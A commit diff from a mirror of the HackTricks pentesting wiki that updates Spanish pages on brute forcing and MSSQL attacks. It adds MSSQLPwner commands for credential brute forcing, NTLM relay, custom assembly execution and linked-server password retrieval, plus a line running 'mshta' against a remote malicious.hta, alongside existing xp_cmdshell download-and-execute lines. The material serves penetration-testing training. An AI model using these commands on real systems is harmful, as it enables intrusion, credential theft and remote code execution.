mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
Translated ['generic-methodologies-and-resources/brute-force.md', 'netwo
This commit is contained in:
parent
f076d49f65
commit
d87dbee177
4 changed files with 167 additions and 26 deletions
|
@ -1,9 +1,9 @@
|
||||||
# Brute Force - CheatSheet
|
# Fuerza Bruta - Hoja de Trucos
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
|
||||||
Obtén acceso hoy:
|
Obtén acceso hoy:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||||
|
@ -18,14 +18,14 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Credenciales por Defecto
|
## Credenciales Predeterminadas
|
||||||
|
|
||||||
**Busca en google** las credenciales por defecto de la tecnología que se está utilizando, o **prueba estos enlaces**:
|
**Busca en google** las credenciales predeterminadas de la tecnología que se está utilizando, o **prueba estos enlaces**:
|
||||||
|
|
||||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||||
|
@ -240,6 +240,25 @@ use auxiliary/scanner/mongodb/mongodb_login
|
||||||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||||
```
|
```
|
||||||
### MSSQL
|
### MSSQL
|
||||||
|
|
||||||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||||
|
```shell
|
||||||
|
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||||
|
|
||||||
|
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||||
|
```
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||||
```
|
```
|
||||||
|
@ -450,7 +469,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
|
||||||
Obtén acceso hoy:
|
Obtén acceso hoy:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||||
|
@ -603,9 +622,9 @@ Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](h
|
||||||
|
|
||||||
### Columna Protegida por Contraseña de Open Office
|
### Columna Protegida por Contraseña de Open Office
|
||||||
|
|
||||||
Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla:
|
Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerlo:
|
||||||
|
|
||||||
* **Cárgalo en google drive** y la contraseña se eliminará automáticamente
|
* **Cárgalo en google drive** y la contraseña será eliminada automáticamente
|
||||||
* Para **eliminarla** **manualmente**:
|
* Para **eliminarla** **manualmente**:
|
||||||
```bash
|
```bash
|
||||||
unzip file.xlsx
|
unzip file.xlsx
|
||||||
|
@ -625,7 +644,7 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
|
||||||
Obtén acceso hoy:
|
Obtén acceso hoy:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||||
|
@ -634,7 +653,7 @@ Obtén acceso hoy:
|
||||||
|
|
||||||
**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### Identificador de hash
|
### Hash-identifier
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
|
@ -739,7 +758,7 @@ Rompiendo Hashes de Windows
|
||||||
3000 | LM | Operating-Systems
|
3000 | LM | Operating-Systems
|
||||||
1000 | NTLM | Operating-Systems
|
1000 | NTLM | Operating-Systems
|
||||||
```
|
```
|
||||||
Rompiendo Hashes de Aplicaciones Comunes
|
Cracking Common Application Hashes
|
||||||
```
|
```
|
||||||
900 | MD4 | Raw Hash
|
900 | MD4 | Raw Hash
|
||||||
0 | MD5 | Raw Hash
|
0 | MD5 | Raw Hash
|
||||||
|
|
|
@ -43,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
Si **no tienes** **credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Metasploit (necesita credenciales)
|
#### Metasploit (necesita credenciales)
|
||||||
|
@ -83,6 +83,26 @@ msf> use windows/manage/mssql_local_auth_bypass
|
||||||
### Enumeración Manual
|
### Enumeración Manual
|
||||||
|
|
||||||
#### Inicio de sesión
|
#### Inicio de sesión
|
||||||
|
|
||||||
|
|
||||||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||||
|
```shell
|
||||||
|
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||||
|
|
||||||
|
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||||
|
```
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Using Impacket mssqlclient.py
|
# Using Impacket mssqlclient.py
|
||||||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||||||
|
@ -152,11 +172,11 @@ SELECT * FROM sysusers
|
||||||
|
|
||||||
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
|
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
|
||||||
* **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos finales, grupos de disponibilidad y roles de servidor.
|
* **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos finales, grupos de disponibilidad y roles de servidor.
|
||||||
* **Base de datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
* **Base de Datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||||
* **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
* **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||||
2. **Permiso:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
|
2. **Permiso:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
|
||||||
* **Nivel de Servidor** usando inicios de sesión
|
* **Nivel de Servidor** usando inicios de sesión
|
||||||
* **Nivel de Base de datos** usando usuarios
|
* **Nivel de Base de Datos** usando usuarios
|
||||||
3. **Principal:** Este término se refiere a la entidad a la que se le otorga permiso para un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a los securables se ejerce a través de la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
|
3. **Principal:** Este término se refiere a la entidad a la que se le otorga permiso para un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a los securables se ejerce a través de la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
|
@ -215,6 +235,20 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
||||||
# Bypass blackisted "EXEC xp_cmdshell"
|
# Bypass blackisted "EXEC xp_cmdshell"
|
||||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||||
```
|
```
|
||||||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||||
|
```shell
|
||||||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||||
|
|
||||||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||||
|
|
||||||
|
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||||
|
|
||||||
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||||
|
```
|
||||||
### Robar el hash NetNTLM / Ataque de retransmisión
|
### Robar el hash NetNTLM / Ataque de retransmisión
|
||||||
|
|
||||||
Deberías iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
|
Deberías iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
|
||||||
|
@ -229,6 +263,17 @@ sudo responder -I tun0
|
||||||
sudo impacket-smbserver share ./ -smb2support
|
sudo impacket-smbserver share ./ -smb2support
|
||||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||||
```
|
```
|
||||||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||||
|
```shell
|
||||||
|
# Issuing NTLM relay attack on the SRV01 server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on the local server with custom command
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||||
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Puedes verificar quién (aparte de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con:
|
Puedes verificar quién (aparte de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con:
|
||||||
```sql
|
```sql
|
||||||
|
@ -254,7 +299,7 @@ Puedes ver cómo usar estas herramientas en:
|
||||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### **Escribir Archivos**
|
### **Escribir archivos**
|
||||||
|
|
||||||
Para escribir archivos usando `MSSQL`, **necesitamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), lo que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
|
Para escribir archivos usando `MSSQL`, **necesitamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), lo que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
|
||||||
```bash
|
```bash
|
||||||
|
@ -398,7 +443,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
||||||
```
|
```
|
||||||
### Suplantación de otros usuarios
|
### Suplantación de otros usuarios
|
||||||
|
|
||||||
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar los permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine.
|
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar las permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine.
|
||||||
```sql
|
```sql
|
||||||
# Find users you can impersonate
|
# Find users you can impersonate
|
||||||
SELECT distinct b.name
|
SELECT distinct b.name
|
||||||
|
@ -450,7 +495,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
|
|
||||||
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||||
|
|
||||||
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||||
|
|
||||||
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
|
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
|
||||||
|
|
||||||
|
@ -462,7 +507,7 @@ Para automatizar estas configuraciones, [este repositorio](https://github.com/Ia
|
||||||
|
|
||||||
Para más información, consulta los siguientes enlaces sobre este ataque: [Descifrando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
Para más información, consulta los siguientes enlaces sobre este ataque: [Descifrando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
|
|
||||||
[Solucionando Problemas con la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Solucionando Problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
## Escalación de Privilegios Locales
|
## Escalación de Privilegios Locales
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -21,6 +21,72 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
|
|
||||||
## **Enumeración / Descubrimiento de MSSQL**
|
## **Enumeración / Descubrimiento de MSSQL**
|
||||||
|
|
||||||
|
### Python
|
||||||
|
La herramienta [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) se basa en impacket, y también permite autenticarse usando tickets kerberos, y atacar a través de cadenas de enlace.
|
||||||
|
|
||||||
|
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||||
|
```shell
|
||||||
|
# Interactive mode
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||||
|
|
||||||
|
# Interactive mode with 2 depth level of impersonations
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
|
||||||
|
|
||||||
|
|
||||||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||||
|
|
||||||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||||
|
|
||||||
|
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||||
|
|
||||||
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on the SRV01 server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on the local server with custom command
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Executing direct query
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
|
||||||
|
|
||||||
|
# Retrieving password from the linked server DC01
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
|
||||||
|
|
||||||
|
# Execute code using custom assembly on the linked server DC01
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
|
||||||
|
|
||||||
|
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||||
|
|
||||||
|
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||||
|
|
||||||
|
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
### Enumerando desde la red sin sesión de dominio
|
||||||
|
```
|
||||||
|
# Interactive mode
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||||
|
```
|
||||||
|
---
|
||||||
|
### Powershell
|
||||||
|
|
||||||
El módulo de powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) es muy útil en este caso.
|
El módulo de powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) es muy útil en este caso.
|
||||||
```powershell
|
```powershell
|
||||||
Import-Module .\PowerupSQL.psd1
|
Import-Module .\PowerupSQL.psd1
|
||||||
|
@ -79,7 +145,7 @@ También podría ser posible **ejecutar comandos** dentro del host de MSSQL.
|
||||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||||
```
|
```
|
||||||
Check in the page mentioned in the **siguiente sección cómo hacer esto manualmente.**
|
Check in the page mentioned in the **siguiente sección cómo hacerlo manualmente.**
|
||||||
|
|
||||||
### MSSQL Trucos Básicos de Hacking
|
### MSSQL Trucos Básicos de Hacking
|
||||||
|
|
||||||
|
@ -89,7 +155,7 @@ Check in the page mentioned in the **siguiente sección cómo hacer esto manualm
|
||||||
|
|
||||||
## Enlaces de Confianza de MSSQL
|
## Enlaces de Confianza de MSSQL
|
||||||
|
|
||||||
Si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde puede ejecutar comandos.
|
Si una instancia de MSSQL es confiable (enlace de base de datos) por una instancia de MSSQL diferente. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde puede ejecutar comandos.
|
||||||
|
|
||||||
**Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.**
|
**Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.**
|
||||||
|
|
||||||
|
@ -127,7 +193,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
|
||||||
```
|
```
|
||||||
### Metasploit
|
### Metasploit
|
||||||
|
|
||||||
Puedes verificar fácilmente los enlaces de confianza usando metasploit.
|
Puedes verificar fácilmente los enlaces de confianza utilizando metasploit.
|
||||||
```bash
|
```bash
|
||||||
#Set username, password, windows auth (if using AD), IP...
|
#Set username, password, windows auth (if using AD), IP...
|
||||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||||
|
@ -152,7 +218,7 @@ EXEC sp_linkedservers;
|
||||||
```
|
```
|
||||||
![](<../../.gitbook/assets/image (716).png>)
|
![](<../../.gitbook/assets/image (716).png>)
|
||||||
|
|
||||||
